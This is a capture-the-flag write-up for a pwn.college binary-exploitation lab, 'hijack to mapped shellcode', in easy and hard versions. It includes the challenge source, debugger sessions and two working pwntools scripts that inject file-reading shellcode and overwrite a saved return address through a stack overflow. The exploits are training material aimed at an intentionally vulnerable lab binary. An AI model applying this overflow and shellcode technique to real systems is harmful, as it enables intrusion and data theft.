for (int k = 0; k < 16; k++) printf("%02hhx ", ((uint8_t*)shellcode_addr)[i+k]);
printf("\n");
}
}

cs_close(&handle);
}
void bin_padding()
{
asm volatile (".rept 1809; nop; .endr");
}

void *shellcode;
size_t shellcode_size;

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[92];
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 92);
printf("large input length, and thus overflow the buffer.\n\n");

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the canary is disabled, otherwise you would corrupt it before");
puts("overwriting the return address, and the program would abort.");

shellcode = mmap((void *)0x1e735000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
assert(shellcode == (void *)0x1e735000);
printf("Mapped 0x1000 bytes for shellcode at %p!\n", shellcode);
puts("Reading 0x1000 bytes of shellcode from stdin.\n");
shellcode_size = read(0, shellcode, 0x1000);
assert(shellcode_size > 0);

puts("This challenge has loaded the following shellcode:\n");
print_disassembly(shellcode, shellcode_size);
puts("");

puts("Press enter to continue!");
getchar();

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 92);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("\n");

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}
hacker@binary-exploitation~hijack-to-mapped-shellcode-easy:/$ /challenge/binary-exploitation-hijack-to-mmap-shellcode-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffef6168be0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffef6168be8 (rsp+0x0008) | a8 9d 16 f6 fe 7f 00 00 | 0x00007ffef6169da8 |
| 0x00007ffef6168bf0 (rsp+0x0010) | 98 9d 16 f6 fe 7f 00 00 | 0x00007ffef6169d98 |
| 0x00007ffef6168bf8 (rsp+0x0018) | a0 06 bb 55 01 00 00 00 | 0x0000000155bb06a0 |
| 0x00007ffef6168c00 (rsp+0x0020) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c08 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c10 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c18 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c20 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c28 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c30 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c38 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c40 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c48 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c50 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c58 (rsp+0x0078) | 00 00 00 00 fe 7f 00 00 | 0x00007ffe00000000 |
| 0x00007ffef6168c60 (rsp+0x0080) | 20 b2 a8 ae ac 5e 00 00 | 0x00005eacaea8b220 |
| 0x00007ffef6168c68 (rsp+0x0088) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c70 (rsp+0x0090) | a0 9c 16 f6 fe 7f 00 00 | 0x00007ffef6169ca0 |
| 0x00007ffef6168c78 (rsp+0x0098) | 87 c3 a8 ae ac 5e 00 00 | 0x00005eacaea8c387 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffef6168be0, and our base pointer points to 0x7ffef6168c70.
This means that we have (decimal) 20 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 160 bytes.
The input buffer begins at 0x7ffef6168c00, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 92 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

We have disabled the following standard memory corruption mitigations for this challenge:
- the canary is disabled, otherwise you would corrupt it before
overwriting the return address, and the program would abort.
Mapped 0x1000 bytes for shellcode at 0x1e735000!
Reading 0x1000 bytes of shellcode from stdin.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
This challenge has loaded the following shellcode:

ERROR: Failed to disassemble shellcode! Bytes are:

Address | Bytes
--------------------------------------------------------------------
0x000000001e735000 | 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
0x000000001e735010 | 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61
0x000000001e735020 | 61 61 61 61 61 61 61 61 61 0a 00 00 00 00 00 00

Press enter to continue!

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffef6168c00 (the start of the input buffer)
right up to (but not including) 0x7ffef6169c00 (which is 4004 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
You sent 42 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffef6168be0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffef6168be8 (rsp+0x0008) | a8 9d 16 f6 fe 7f 00 00 | 0x00007ffef6169da8 |
| 0x00007ffef6168bf0 (rsp+0x0010) | 98 9d 16 f6 fe 7f 00 00 | 0x00007ffef6169d98 |
| 0x00007ffef6168bf8 (rsp+0x0018) | a0 06 bb 55 01 00 00 00 | 0x0000000155bb06a0 |
| 0x00007ffef6168c00 (rsp+0x0020) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffef6168c08 (rsp+0x0028) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffef6168c10 (rsp+0x0030) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffef6168c18 (rsp+0x0038) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffef6168c20 (rsp+0x0040) | 61 61 61 61 61 61 61 61 | 0x6161616161616161 |
| 0x00007ffef6168c28 (rsp+0x0048) | 61 0a 00 00 00 00 00 00 | 0x0000000000000a61 |
| 0x00007ffef6168c30 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c38 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c40 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c48 (rsp+0x0068) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c50 (rsp+0x0070) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffef6168c58 (rsp+0x0078) | 00 00 00 00 fe 7f 00 00 | 0x00007ffe00000000 |
| 0x00007ffef6168c60 (rsp+0x0080) | 20 b2 a8 ae 2a 00 00 00 | 0x0000002aaea8b220 |
| 0x00007ffef6168c68 (rsp+0x0088) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffef6168c70 (rsp+0x0090) | a0 9c 16 f6 fe 7f 00 00 | 0x00007ffef6169ca0 |
| 0x00007ffef6168c78 (rsp+0x0098) | 87 c3 a8 ae ac 5e 00 00 | 0x00005eacaea8c387 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffef6168c00
- the saved frame pointer (of main) is at 0x7ffef6168c70
- the saved return address (previously to main) is at 0x7ffef6168c78
- the saved return address is now pointing to 0x5eacaea8c387.

Goodbye!

In this challenge, we have to provide our 0x1000 shellcode first which will be written to 0x1e735000, and then our overflow input is read into the buffer at 0x7ffef6168c00. The saved base pointer is at 0x7ffef6168c70.

The location int memory to which the shellcode is written, is executable.

Exploit

~/script.py
from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "error"

shellcode_asm = """
xor eax, eax
xor esi, esi
xor edx, edx

/* open("/flag", 0, 0) */
lea rdi, [rip + flag]
mov al, 2
syscall

/* read(fd, rsp, 1000) */
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

/* write(1, rsp, bytes) */
mov edi, 1
mov eax, 1
syscall

/* exit(0) */
xor edi, edi
mov eax, 60
syscall

flag:
.ascii "/flag\\0"
"""

shellcode = asm(shellcode_asm).ljust(0x1000, b"\x90")
log.info(f"Shellcode size: {len(shellcode)} bytes")

p = process("/challenge/binary-exploitation-hijack-to-mmap-shellcode-w")

# 1. Send shellcode
p.recvuntil(b"Reading 0x1000 bytes of shellcode from stdin.")
shellcode = asm(shellcode_asm).ljust(0x1000, b"\x90")
p.send(shellcode)

# 2. Handle the "Press enter to continue"
p.recvuntil(b"Press enter to continue!")
p.sendline(b"")

# 3. Send the Overflow
p.recvuntil(b"Send your payload (up to 4096 bytes)!")

# Calculate offset dynamically
saved_buffer = 0x7ffef6168c00
saved_base_pointer = 0x7ffef6168c70
saved_instr_pointer = saved_base_pointer + 8
offset = saved_instr_pointer - saved_buffer

# Shellcode address
shellcode_address = 0x1e735000

# Send payload
payload = b"A" * offset
payload += p64(shellcode_address)

p.send(payload)

p.interactive()
hacker@binary-exploitation~hijack-to-mapped-shellcode-easy:/$ python ~/script.py 

You sent 128 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd741eb3d0 (rsp+0x0000) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffd741eb3d8 (rsp+0x0008) | 98 c5 1e 74 fd 7f 00 00 | 0x00007ffd741ec598 |
| 0x00007ffd741eb3e0 (rsp+0x0010) | 88 c5 1e 74 fd 7f 00 00 | 0x00007ffd741ec588 |
| 0x00007ffd741eb3e8 (rsp+0x0018) | a0 56 d6 6d 01 00 00 00 | 0x000000016dd656a0 |
| 0x00007ffd741eb3f0 (rsp+0x0020) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb3f8 (rsp+0x0028) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb400 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb408 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb410 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb418 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb420 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb428 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb430 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb438 (rsp+0x0068) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb440 (rsp+0x0070) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb448 (rsp+0x0078) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb450 (rsp+0x0080) | 41 41 41 41 80 00 00 00 | 0x0000008041414141 |
| 0x00007ffd741eb458 (rsp+0x0088) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb460 (rsp+0x0090) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffd741eb468 (rsp+0x0098) | 00 50 73 1e 00 00 00 00 | 0x000000001e735000 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffd741eb3f0
- the saved frame pointer (of main) is at 0x7ffd741eb460
- the saved return address (previously to main) is at 0x7ffd741eb468
- the saved return address is now pointing to 0x1e735000.

Goodbye!
pwn.college{w0fvJCCux3ij0V5tczs3OxlfWbD.0VOxMDL4ITM0EzW}
\x01\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00P\x03\x00\x00\x00\x00\x00\x00P\x03\x00\x00\x00\x00\x00\x00P\x03\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00p\x03\x00\x00\x00\x00\x00\x00p\x03\x00\x00\x00\x00\x00\x00p\x03\x00\x00\x00\x00\x00\x00D\x00\x00\x00\x00\x00\x00\x00D\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x88w\x1e\x00\x00\x00\x00\x00\x88\x87\x1e\x00\x00\x00\x00\x00\x88\x87\x1e\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00S\xe5td\x04\x00\x00\x00P\x03\x00\x00\x00\x00\x00\x00$

 

Hijack to (Mapped) Shellcode (hard)

hacker@binary-exploitation~hijack-to-mapped-shellcode-hard:/$ /challenge/binary-exploitation-hijack-to-mmap-shellcode              
Mapped 0x1000 bytes for shellcode at 0x14433000!
Reading 0x1000 bytes of shellcode from stdin.
  • Location of buffer: 0x6278372202a0
  • Distance of return address to main()
  • Location to which the shellcode is written: 0x14433000

Disassembly

pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000001000 _init
0x00000000000010d0 __cxa_finalize@plt
0x00000000000010e0 __errno_location@plt
0x00000000000010f0 puts@plt
0x0000000000001100 mmap@plt
0x0000000000001110 printf@plt
0x0000000000001120 __assert_fail@plt
0x0000000000001130 read@plt
0x0000000000001140 getchar@plt
0x0000000000001150 setvbuf@plt
0x0000000000001160 exit@plt
0x0000000000001170 strerror@plt
0x0000000000001180 _start
0x00000000000011b0 deregister_tm_clones
0x00000000000011e0 register_tm_clones
0x0000000000001220 __do_global_dtors_aux
0x0000000000001260 frame_dummy
0x0000000000001269 bin_padding
0x0000000000001ed5 challenge
0x00000000000020ac main
0x0000000000002140 __libc_csu_init
0x00000000000021b0 __libc_csu_fini
0x00000000000021b8 _fini

challenge()

pwndbg> disassemble challenge
Dump of assembler code for function challenge:
0x0000000000001ed5 <+0>: endbr64
0x0000000000001ed9 <+4>: push rbp
0x0000000000001eda <+5>: mov rbp,rsp
0x0000000000001edd <+8>: sub rsp,0x90
0x0000000000001ee4 <+15>: mov DWORD PTR [rbp-0x74],edi
0x0000000000001ee7 <+18>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000001eeb <+22>: mov QWORD PTR [rbp-0x88],rdx
0x0000000000001ef2 <+29>: mov QWORD PTR [rbp-0x70],0x0
0x0000000000001efa <+37>: mov QWORD PTR [rbp-0x68],0x0
0x0000000000001f02 <+45>: mov QWORD PTR [rbp-0x60],0x0
0x0000000000001f0a <+53>: mov QWORD PTR [rbp-0x58],0x0
0x0000000000001f12 <+61>: mov QWORD PTR [rbp-0x50],0x0
0x0000000000001f1a <+69>: mov QWORD PTR [rbp-0x48],0x0
0x0000000000001f22 <+77>: mov QWORD PTR [rbp-0x40],0x0
0x0000000000001f2a <+85>: mov QWORD PTR [rbp-0x38],0x0
0x0000000000001f32 <+93>: mov QWORD PTR [rbp-0x30],0x0
0x0000000000001f3a <+101>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000001f42 <+109>: mov QWORD PTR [rbp-0x20],0x0
0x0000000000001f4a <+117>: mov QWORD PTR [rbp-0x8],0x0
0x0000000000001f52 <+125>: mov r9d,0x0
0x0000000000001f58 <+131>: mov r8d,0x0
0x0000000000001f5e <+137>: mov ecx,0x22
0x0000000000001f63 <+142>: mov edx,0x7
0x0000000000001f68 <+147>: mov esi,0x1000
0x0000000000001f6d <+152>: mov edi,0x14433000
0x0000000000001f72 <+157>: call 0x1100 <mmap@plt>
0x0000000000001f77 <+162>: mov QWORD PTR [rip+0x30ba],rax # 0x5038 <shellcode>
0x0000000000001f7e <+169>: mov rax,QWORD PTR [rip+0x30b3] # 0x5038 <shellcode>
0x0000000000001f85 <+176>: cmp rax,0x14433000
0x0000000000001f8b <+182>: je 0x1fac <challenge+215>
0x0000000000001f8d <+184>: lea rcx,[rip+0x11bc] # 0x3150 <__PRETTY_FUNCTION__.5708>
0x0000000000001f94 <+191>: mov edx,0x2c
0x0000000000001f99 <+196>: lea rsi,[rip+0x1068] # 0x3008
0x0000000000001fa0 <+203>: lea rdi,[rip+0x10a1] # 0x3048
0x0000000000001fa7 <+210>: call 0x1120 <__assert_fail@plt>
0x0000000000001fac <+215>: mov rax,QWORD PTR [rip+0x3085] # 0x5038 <shellcode>
0x0000000000001fb3 <+222>: mov rsi,rax
0x0000000000001fb6 <+225>: lea rdi,[rip+0x10ab] # 0x3068
0x0000000000001fbd <+232>: mov eax,0x0
0x0000000000001fc2 <+237>: call 0x1110 <printf@plt>
0x0000000000001fc7 <+242>: lea rdi,[rip+0x10ca] # 0x3098
0x0000000000001fce <+249>: call 0x10f0 <puts@plt>
0x0000000000001fd3 <+254>: mov rax,QWORD PTR [rip+0x305e] # 0x5038 <shellcode>
0x0000000000001fda <+261>: mov edx,0x1000
0x0000000000001fdf <+266>: mov rsi,rax
0x0000000000001fe2 <+269>: mov edi,0x0
0x0000000000001fe7 <+274>: call 0x1130 <read@plt>
0x0000000000001fec <+279>: mov QWORD PTR [rip+0x303d],rax # 0x5030 <shellcode_size>
0x0000000000001ff3 <+286>: mov rax,QWORD PTR [rip+0x3036] # 0x5030 <shellcode_size>
0x0000000000001ffa <+293>: test rax,rax
0x0000000000001ffd <+296>: jne 0x201e <challenge+329>
0x0000000000001fff <+298>: lea rcx,[rip+0x114a] # 0x3150 <__PRETTY_FUNCTION__.5708>
0x0000000000002006 <+305>: mov edx,0x30
0x000000000000200b <+310>: lea rsi,[rip+0xff6] # 0x3008
0x0000000000002012 <+317>: lea rdi,[rip+0x10ae] # 0x30c7
0x0000000000002019 <+324>: call 0x1120 <__assert_fail@plt>
0x000000000000201e <+329>: lea rdi,[rip+0x10b5] # 0x30da
0x0000000000002025 <+336>: call 0x10f0 <puts@plt>
0x000000000000202a <+341>: call 0x1140 <getchar@plt>
0x000000000000202f <+346>: mov QWORD PTR [rbp-0x8],0x1000
0x0000000000002037 <+354>: mov rax,QWORD PTR [rbp-0x8]
0x000000000000203b <+358>: mov rsi,rax
0x000000000000203e <+361>: lea rdi,[rip+0x10b3] # 0x30f8
0x0000000000002045 <+368>: mov eax,0x0
0x000000000000204a <+373>: call 0x1110 <printf@plt>
0x000000000000204f <+378>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000002053 <+382>: lea rax,[rbp-0x70]
0x0000000000002057 <+386>: mov rsi,rax
0x000000000000205a <+389>: mov edi,0x0
0x000000000000205f <+394>: call 0x1130 <read@plt>
0x0000000000002064 <+399>: mov DWORD PTR [rbp-0xc],eax
0x0000000000002067 <+402>: cmp DWORD PTR [rbp-0xc],0x0
0x000000000000206b <+406>: jns 0x2099 <challenge+452>
0x000000000000206d <+408>: call 0x10e0 <__errno_location@plt>
0x0000000000002072 <+413>: mov eax,DWORD PTR [rax]
0x0000000000002074 <+415>: mov edi,eax
0x0000000000002076 <+417>: call 0x1170 <strerror@plt>
0x000000000000207b <+422>: mov rsi,rax
0x000000000000207e <+425>: lea rdi,[rip+0x109b] # 0x3120
0x0000000000002085 <+432>: mov eax,0x0
0x000000000000208a <+437>: call 0x1110 <printf@plt>
0x000000000000208f <+442>: mov edi,0x1
0x0000000000002094 <+447>: call 0x1160 <exit@plt>
0x0000000000002099 <+452>: lea rdi,[rip+0x10a4] # 0x3144
0x00000000000020a0 <+459>: call 0x10f0 <puts@plt>
0x00000000000020a5 <+464>: mov eax,0x0
0x00000000000020aa <+469>: leave
0x00000000000020ab <+470>: ret
End of assembler dump.

This time there are two read@plt calls. The first one reads our shellcode, and the second one reads the payload which causes the buffer overflow.

# --- snip ---

0x0000000000001fd3 <+254>: mov rax,QWORD PTR [rip+0x305e] # 0x5038 <shellcode>
0x0000000000001fda <+261>: mov edx,0x1000
0x0000000000001fdf <+266>: mov rsi,rax
0x0000000000001fe2 <+269>: mov edi,0x0
0x0000000000001fe7 <+274>: call 0x1130 <read@plt>

# --- snip ---

0x000000000000204f <+378>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000002053 <+382>: lea rax,[rbp-0x70]
0x0000000000002057 <+386>: mov rsi,rax
0x000000000000205a <+389>: mov edi,0x0
0x000000000000205f <+394>: call 0x1130 <read@plt>

# --- snip ---

Let's set a breakpoint at the second read@plt call at challenge+394, and run the program.

pwndbg> break *(challenge+394)
Breakpoint 1 at 0x205f
pwndbg> run
Starting program: /challenge/binary-exploitation-hijack-to-mmap-shellcode
Mapped 0x1000 bytes for shellcode at 0x14433000!
Reading 0x1000 bytes of shellcode from stdin.


Send your payload (up to 4096 bytes)!

Breakpoint 1, 0x00005dac2540305f in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────
RAX 0x7ffd7ec0d3d0 ◂— 0
RBX 0x5dac25403140 (__libc_csu_init) ◂— endbr64
RCX 0
RDX 0x1000
RDI 0
RSI 0x7ffd7ec0d3d0 ◂— 0
R8 0x26
R9 0x26
R10 0x5dac25404114 ◂— ' bytes)!\n'
R11 0x246
R12 0x5dac25402180 (_start) ◂— endbr64
R13 0x7ffd7ec0e560 ◂— 1
R14 0
R15 0
RBP 0x7ffd7ec0d440 —▸ 0x7ffd7ec0e470 ◂— 0
RSP 0x7ffd7ec0d3b0 ◂— 0
RIP 0x5dac2540305f (challenge+394) ◂— call read@plt
───────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────
► 0x5dac2540305f <challenge+394> call read@plt <read@plt>
fd: 0 (/dev/pts/1)
buf: 0x7ffd7ec0d3d0 ◂— 0
nbytes: 0x1000

0x5dac25403064 <challenge+399> mov dword ptr [rbp - 0xc], eax
0x5dac25403067 <challenge+402> cmp dword ptr [rbp - 0xc], 0
0x5dac2540306b <challenge+406> jns challenge+452 <challenge+452>

0x5dac2540306d <challenge+408> call __errno_location@plt <__errno_location@plt>

0x5dac25403072 <challenge+413> mov eax, dword ptr [rax]
0x5dac25403074 <challenge+415> mov edi, eax
0x5dac25403076 <challenge+417> call strerror@plt <strerror@plt>

0x5dac2540307b <challenge+422> mov rsi, rax
0x5dac2540307e <challenge+425> lea rdi, [rip + 0x109b] RDI => 0x5dac25404120 ◂— 'ERROR: Failed to read input -- %s!\n'
0x5dac25403085 <challenge+432> mov eax, 0 EAX => 0
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp 0x7ffd7ec0d3b0 ◂— 0
01:0008│-088 0x7ffd7ec0d3b8 —▸ 0x7ffd7ec0e578 —▸ 0x7ffd7ec0f834 ◂— 'SHELL=/run/dojo/bin/bash'
02:0010│-080 0x7ffd7ec0d3c0 —▸ 0x7ffd7ec0e568 —▸ 0x7ffd7ec0f7fc ◂— '/challenge/binary-exploitation-hijack-to-mmap-shellcode'
03:0018│-078 0x7ffd7ec0d3c8 ◂— 0x1561c36a0
04:0020│ rax rsi 0x7ffd7ec0d3d0 ◂— 0
... ↓ 3 skipped
───────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────
► 0 0x5dac2540305f challenge+394
1 0x5dac25403132 main+134
2 0x73d255ffa083 __libc_start_main+243
3 0x5dac254021ae _start+46
───────────────────────────────────────────────────────────────────────────────────────────────────────────
  • Location of buffer: 0x7ffd7ec0d3d0
  • Distance of return address to main()
  • Location to which the shellcode is written: 0x14433000
pwndbg> info frame
Stack level 0, frame at 0x7ffd7ec0d450:
rip = 0x5dac2540305f in challenge; saved rip = 0x5dac25403132
called by frame at 0x7ffd7ec0e480
Arglist at 0x7ffd7ec0d440, args:
Locals at 0x7ffd7ec0d440, Previous frame's sp is 0x7ffd7ec0d450
Saved registers:
rbp at 0x7ffd7ec0d440, rip at 0x7ffd7ec0d448
pwndbg> p/d 0x7ffd7ec0d448 - 0x7ffd7ec0d3d0
$1 = 120

Exploit

from pwn import *

context.arch = "amd64"
context.os = "linux"
context.log_level = "error"

shellcode_asm = """
xor eax, eax
xor esi, esi
xor edx, edx

/* open("/flag", 0, 0) */
lea rdi, [rip + flag]
mov al, 2
syscall

/* read(fd, rsp, 1000) */
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

/* write(1, rsp, bytes) */
mov edi, 1
mov eax, 1
syscall

/* exit(0) */
xor edi, edi
mov eax, 60
syscall

flag:
.ascii "/flag\\0"
"""

shellcode = asm(shellcode_asm).ljust(0x1000, b"\x90")
log.info(f"Shellcode size: {len(shellcode)} bytes")

p = process("/challenge/binary-exploitation-hijack-to-mmap-shellcode")

# 1. Send shellcode
p.recvuntil(b"Reading 0x1000 bytes of shellcode from stdin.")
shellcode = asm(shellcode_asm).ljust(0x1000, b"\x90")
p.send(shellcode)

# 2. Handle the "Press enter to continue"
p.recvuntil(b"Press enter to continue!")
p.sendline(b"")

# 3. Send the Overflow
p.recvuntil(b"Send your payload (up to 4096 bytes)!")

# Calculate offset dynamically
saved_buffer = 0x7ffef6168c00
saved_base_pointer = 0x7ffef6168c70
saved_instr_pointer = saved_base_pointer + 8
# offset = saved_instr_pointer - saved_buffer
offset = 120

# Shellcode address
shellcode_address = 0x14433000

# Send payload
payload = b"A" * offset
payload += p64(shellcode_address)

p.send(payload)

p.interactive()